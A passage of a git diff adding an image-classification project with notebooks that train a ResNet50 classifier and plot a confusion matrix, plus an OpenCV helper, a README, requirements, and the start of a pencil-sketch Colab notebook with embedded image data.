BATCH_SIZE\n", + "del(ClassLabels_train) # Clear RAM\n", + "del(ClassLabels_validation) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "90c577ee-90de-45a9-8579-abc95d2c71ac", + "metadata": {}, + "outputs": [], + "source": [ + "# Define Callbacks\n", + "earlystopper = tf.keras.callbacks.EarlyStopping(monitor='val_auc', patience=10, verbose=2)\n", + "checkpointer = tf.keras.callbacks.ModelCheckpoint(MODEL_DIR+MODEL_NAME+'.h5', save_best_only=True ,verbose=1)\n", + "\n", + "# Learning Rate Scheduler (Change as per Requirement)\n", + "initial_learning_rate = 0.001\n", + "lr_scheduler = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=5, verbose=1, mode='min', cooldown=1, min_lr=1e-5)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0bc23e4a", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Building Training Model [ResNet50]\n", + " - Load Base Model\n", + " - Build Final Model\n", + " - Compile Final Model\n", + "'''\n", + "\n", + "# Loading Base Model\n", + "OHE_classes = OHE.categories_[0]\n", + "num_classes = len(OHE_classes)\n", + "del(OHE) # Clear RAM\n", + "base_model = tf.keras.applications.resnet50.ResNet50(\n", + " input_shape=(IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS), include_top=False, \n", + " weights='imagenet', classes=num_classes\n", + ")\n", + "\n", + "# Building Final Model\n", + "inputs = tf.keras.layers.Input(shape=(IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS))\n", + "x = data_augmentation(inputs)\n", + "x = base_model(x)\n", + "x = tf.keras.layers.GlobalAveragePooling2D()(x)\n", + "outputs = tf.keras.layers.Dense(num_classes, activation='softmax')(x)\n", + "model = tf.keras.Model(inputs, outputs)\n", + "\n", + "# Compiling Final Model\n", + "model.compile(\n", + " loss=tf.keras.losses.CategoricalCrossentropy(),\n", + " optimizer = tf.keras.optimizers.SGD(learning_rate=initial_learning_rate, momentum=0.9),\n", + " metrics=['accuracy', Precision(name='precision'), Recall(name='recall'), AUC(name='auc')])\n", + "\n", + "# View the Model Summary\n", + "model.summary()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "269629f5", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Train the Model\n", + "'''\n", + "begin = datetime.now()\n", + "\n", + "EPOCHS = 50 # Change as per Requirement\n", + "history = model.fit(train_dataset, validation_data=val_dataset, \n", + " steps_per_epoch=steps_per_epoch, validation_steps=validation_steps, \n", + " epochs=EPOCHS, batch_size=BATCH_SIZE, verbose=1, \n", + " callbacks = [checkpointer, earlystopper, lr_scheduler])\n", + "\n", + "finish = datetime.now()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6fa3481f-3e8c-4768-9659-c058afea54ab", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Display Time Required (In Seconds) to Train the Model\n", + "'''\n", + "\n", + "total_time = finish-begin\n", + "print('Total Training Time (In Seconds) for '+MODEL_NAME+' : ',total_time.total_seconds())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4cb8ddf5", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Evaluate the Model\n", + "'''\n", + "\n", + "model = tf.keras.models.load_model(MODEL_DIR+MODEL_NAME+'.h5')\n", + "\n", + "print('Training : ', model.evaluate(train_dataset, steps=steps_per_epoch))\n", + "print('Validation : ', model.evaluate(val_dataset))\n", + "print('Testing : ', model.evaluate(test_dataset))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "abde9303-25fa-4ea5-84d7-c946da47a59d", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.5" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/3. Verification and Confusion Matrix.ipynb b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/3. Verification and Confusion Matrix.ipynb new file mode 100644 index 00000000..6d63f4f2 --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/3. Verification and Confusion Matrix.ipynb @@ -0,0 +1,249 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "9fc5ca60", + "metadata": {}, + "source": [ + "More At : https://github.com/iSiddharth20/DeepLearning-ImageClassification-Toolkit" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c9335a71-1675-4f41-b73c-94fff1f16b20", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Name of Model to Use\n", + " - Un-Comment the one you want to use\n", + " - Comment the Rest\n", + "'''\n", + "\n", + "MODEL_NAME = 'CNN_ResNet50'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "28d9e935-8f77-435a-88a5-d8b792236d8a", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Working Directories\n", + "'''\n", + "import os\n", + "\n", + "# Directory of Original Dataset\n", + "DATA_DIR = '../Dataset'\n", + "\n", + "# Directory where Pickle Files are Stored\n", + "PICKLE_DIR = '../PickleFiles/'\n", + "\n", + "# Directory where Models are Stored\n", + "MODEL_DIR = '../TrainedModels/'\n", + "\n", + "# Full Path where Manually Sorted Dataset will be Stored (Folder will be Created By Code)\n", + "SORT_DIR = '../SortedDataset/'\n", + "os.makedirs(os.path.dirname(SORT_DIR), exist_ok=True)\n", + "\n", + "# Directory where Final Graphs will be Stored (Folder will be Created By Code)\n", + "GRAPH_DIR = '../OutputGraphs/'\n", + "os.makedirs(os.path.dirname(GRAPH_DIR), exist_ok=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e66d6215-2467-4c33-aa47-401f614efdc9", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Importing Necessary Libraries\n", + "'''\n", + "\n", + "# Helpers\n", + "import pickle \n", + "import shutil\n", + "from HelperFunctions import image_processing\n", + "\n", + "# Disable TensorFlow Warnings from Cell Outputs\n", + "os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n", + "\n", + "# Data Handling and Visualization\n", + "import numpy as np\n", + "import pandas as pd\n", + "import seaborn as sns\n", + "import matplotlib.pyplot as plt\n", + "\n", + "# Image Processing\n", + "import cv2\n", + "\n", + "# Model Prediction\n", + "import tensorflow as tf\n", + "import efficientnet.tfkeras as efn " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d497809d", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Importing\n", + " - One-Hot-Encoding\n", + " - Trained Model\n", + "Defining\n", + " - The 'Predict Function' to Import Image File and Predict Class Label \n", + "'''\n", + "\n", + "# Importing One-Hot-Encoding \n", + "try:\n", + " with open(PICKLE_DIR+'OHE.pkl', 'rb') as f: OHE = pickle.load(f)\n", + " OHE_classes = OHE.categories_[0]\n", + " OHE_classes = np.array(OHE_classes, dtype=object)\n", + " print('OHE Import Successful')\n", + "except:\n", + " print('OHE Import Unsuccessful')\n", + " \n", + "# Importing Trained Model\n", + "try:\n", + " model = tf.keras.models.load_model(MODEL_DIR+MODEL_NAME+'.h5')\n", + " print('Trained Model Import Successful') \n", + "except:\n", + " print('Trained Model Import Unsuccessful') \n", + " \n", + "# Defining the Predict Function\n", + "def predict(img_path):\n", + " IMG_HEIGHT = 400\n", + " IMG_WIDTH = 600\n", + " # Importing the Image\n", + " img = image_processing(img_path)\n", + " resized_img = cv2.resize(img, (IMG_WIDTH, IMG_HEIGHT))\n", + " # Predicting Damage Class\n", + " y = model.predict(resized_img[np.newaxis, :, :, :])\n", + " return OHE_classes[np.argmax(y)]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "eec9a21e-342c-4c00-bfb7-fc12d2d3b77c", + "metadata": {}, + "outputs": [], + "source": [ + "%%capture\n", + "\n", + "'''\n", + "Creating a DataFrame containing \n", + " - File Name, Orignal Class Label, Predicted Class Label, Accurate(Yes/No)\n", + " - Set 'move_files'==True : to Move Incorrectly Classified Image Files to 'SORT_DIR' Directory\n", + "Exporting DataFrame (File Name, Original Class Label, Predicted Class Label) as Pickle File\n", + "'''\n", + "\n", + "move_files = False\n", + "\n", + "def get_file_detials(main_dir):\n", + " df = pd.DataFrame(columns=['File Name', 'Orignal Class Label', 'Predicted Class Label', 'Accurate'])\n", + " for root, dir, files in os.walk(main_dir):\n", + " if root == main_dir:\n", + " continue\n", + " class_orig = os.path.basename(root)\n", + " for filename in files:\n", + " accurate = 'No'\n", + " file_path = os.path.join(root, filename)\n", + " class_pred = predict(file_path)\n", + " if class_pred == class_orig:\n", + " accurate = 'Yes'\n", + " df.loc[len(df.index)] = [filename, class_orig, class_pred, accurate]\n", + " if move_files==True and accurate == 'No':\n", + " dest_fpath = SORT_DIR+class_pred+'/'+filename\n", + " os.makedirs(os.path.dirname(dest_fpath), exist_ok=True)\n", + " shutil.copy(file_path, dest_fpath) \n", + " return df\n", + "\n", + "df_conf = get_file_detials(DATA_DIR)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1fe197e0-4fc6-4f03-9a81-59add4d1816d", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Summary of Obtained Results\n", + "'''\n", + "\n", + "sort_incorrect = len(df_conf[df_conf['Accurate']=='No'])\n", + "sort_correct = len(df_conf[df_conf['Accurate']=='Yes'])\n", + "accuracy_actual = str(round((sort_correct/len(df_conf))*100,3))\n", + "\n", + "print('Number of Images Sorted Correctly : ',sort_correct)\n", + "print('Number of Images Sorted Incorrectly : ',sort_incorrect)\n", + "print(\"Actual Accuracy : \", accuracy_actual)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "71b41acc-d659-4b90-8c7f-7c2863afd14e", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Confusion Matrix of Obtained Results\n", + " - Set 'save_graph'==True : to Export Confusion Matrix to 'GRAPH_DIR' Directory\n", + " - Filename will be : ModelName_AccuracyPercentage.png\n", + "'''\n", + "\n", + "save_graph = False\n", + "\n", + "# Creating the confusion matrix\n", + "confusion_df = pd.crosstab(df_conf['Orignal Class Label'], df_conf['Predicted Class Label'], rownames=['Actual'], colnames=['Predicted'])\n", + "# Flipping the confusion matrix diagonally\n", + "confusion_df = confusion_df.iloc[::-1]\n", + "# Displaying the flipped confusion matrix using seaborn\n", + "sns.heatmap(confusion_df, annot=True, cmap='RdBu_r', fmt='g')\n", + "if save_graph==True:\n", + " plt.savefig(GRAPH_DIR+'ConfusionMatrix_'+MODEL_NAME+'_'+accuracy_actual[:-2]+'.png', bbox_inches = 'tight')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "50710aca-1c65-4477-8387-0815faf93959", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.5" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/HelperFunctions.py b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/HelperFunctions.py new file mode 100644 index 00000000..2b8bf670 --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/HelperFunctions.py @@ -0,0 +1,47 @@ +''' +Source : https://github.com/iSiddharth20/DeepLearning-ImageClassification-Toolkit +''' + +import matplotlib.pyplot as plt +import cv2 +import numpy as np + +''' +Helper Function + - Used to Show 2 Images Side-By-Side +''' +def images_on_side(img_1,label_1,img_2,label_2): + fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 24)) + ax1.imshow(img_1) + ax1.set_title(label_1) + ax2.imshow(img_2) + ax2.set_title(label_2) + plt.show() + +''' +Helper Function + - Used to Extract Object from Image +''' +def image_processing(image_path): + # Read the image + img = cv2.imread(image_path) + # Convert image to grayscale + gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) + # Threshold the image to get a binary mask + _, thresholded = cv2.threshold(gray_img, 135, 255, cv2.THRESH_BINARY) + # Perform morphological closing + kernel_size = 5 + kernel = np.ones((kernel_size, kernel_size), np.uint8) + closed_img = cv2.morphologyEx(thresholded, cv2.MORPH_CLOSE, kernel) + # Find contours + contours, _ = cv2.findContours(closed_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) + # Identify the largest contour + largest_contour = max(contours, key=cv2.contourArea) + # Create an empty mask and draw the largest contour onto it + contour_mask = np.zeros_like(thresholded) + cv2.drawContours(contour_mask, [largest_contour], -1, (255), thickness=cv2.FILLED) + # Dilate the mask slightly + dilated_mask = cv2.dilate(contour_mask, kernel, iterations=1) + # Use the mask to extract the largest object from the original image + extracted_object = cv2.bitwise_and(img, img, mask=dilated_mask) + return extracted_object diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/README.md b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/README.md new file mode 100644 index 00000000..15214ea9 --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/README.md @@ -0,0 +1,52 @@ +# CNN Image Classification using TensorFlow + +This guide will help you navigate and learn CNN Image Classification using TensorFlow. +This is an Introductory Codebase. For deeper knowledge visite [GitHub : DeepLearning-ImageClassification-Toolkit](https://github.com/iSiddharth20/DeepLearning-ImageClassification-Toolkit) + +#### TensorFlow is Required to run this Code. +Install using [THIS](https://www.tensorflow.org/install/pip) Guide. +#### Make sure to inastall necessary dependencies by running this command : +pip install -r requirements.txt + +## Understanding the Functionalities + +### 1. PreProcessing +- Load Dataset from 'DATA_DIR' Directory +- Creates DataFrame containing Full Paths of Images and their Class Labels +- (Change as per Requirement) Rescale Images to Computationally Efficient Resolution +- (Optional but Recommended) Extracts Largest Object from Image using 'image_processing' Function + - Leverages Parallel Processing for Faster Results +- Compares Original and Rescaled+Processed Image SIde-By-Side to make necessary changes +- Converts Processed Images to NumPy Array and Exports as Pickle File + - Verifies If Exported Pickle File is Appropriate through 10 Random Samples +- (Optional) Merge Certain Class Lables Together +- Split Data for Training, Testing, Validation with Stratify to ensure data balancing + - Verify if Split is Appropriate through 2 random samples +- (Optional) Perform Random Oversampling on Data to reduce Biasness + - Verify if Oversampling is Appropriate through 2 random samples +- Perform One-Hot-Encoding of Class Labels +- Training, Testing, Validation Data and One-Hot-Encoding is Exported as Pickle Files + +### 2. Training CNN ResNet50 +- Training, Testing, Validation Data and One-Hot-Encoding are Imported + - All Data is converted to TensorFlow Format +- Learning Rate Scheduler is Defined (Change If Desired) +- Stochastic Gradient Descent with Momentum is Used as Optimizer (Change If Desired) +- Added Data Augmentation Techniques to improve Model Learning (Change If Desired) +- Base Model (CNN ResNet50) is Loded from TensorFlow Library + - Custom Optimal Changes have been made to the Structure + - Final Model is Compiled +- Final Model is Trained + - Final Model with Lowest Validation Loss is Exported as a '.h5' file +- Traning Time (In Seconds) is Displayed + +### 3. Verification and Confusion Matrix +- Trained Model and One-Hot-Encoding are Imported +- Entire Dataset is Run through the Trained Model to get Ground Truth of Accuracy +- (Optional) Incorrectly Classified Image Files will be copied to a seprate folder with detected class label +- Ground Truth Classification Confusion Matrix is Created + - (Optional) Confusion Matrix can be Exported as a '.png' file + +### HelperFunctions +- Function to display 2 images side-by-side on screen +- Function to Extract largest object from souruce image \ No newline at end of file diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/requirements.txt b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/requirements.txt new file mode 100644 index 00000000..1ac56e0e --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/requirements.txt @@ -0,0 +1,9 @@ +numpy +pandas +pytest-shutil +DateTime +matplotlib +seaborn +opencv-python +scikit-image +scikit-learn \ No newline at end of file diff --git a/MachineLearning Projects/Image to Sketch/Image_to_pencil_sketch.ipynb b/MachineLearning Projects/Image to Sketch/Image_to_pencil_sketch.ipynb new file mode 100644 index 00000000..a410a3d1 --- /dev/null +++ b/MachineLearning Projects/Image to Sketch/Image_to_pencil_sketch.ipynb @@ -0,0 +1,194 @@ +{ + "nbformat": 4, + "nbformat_minor": 0, + "metadata": { + "colab": { + "provenance": [], + "collapsed_sections": [] + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3" + }, + "language_info": { + "name": "python" + } + }, + "cells": [ + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "0Gh_46dwYi0R" + }, + "outputs": [], + "source": [ + "import cv2\n", + "from google.colab.patches import cv2_imshow" + ] + }, + { + "cell_type": "code", + "source": [ + "from google.colab.patches import cv2_imshow\n", + "image = cv2.imread(\"dog.jpg\")\n", + "cv2_imshow(image)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "xuvBuDu-ZTNs", + "outputId": "a0a345dc-12cb-4854-a1e5-4c3e5cffbf67" + }, + "execution_count": 9, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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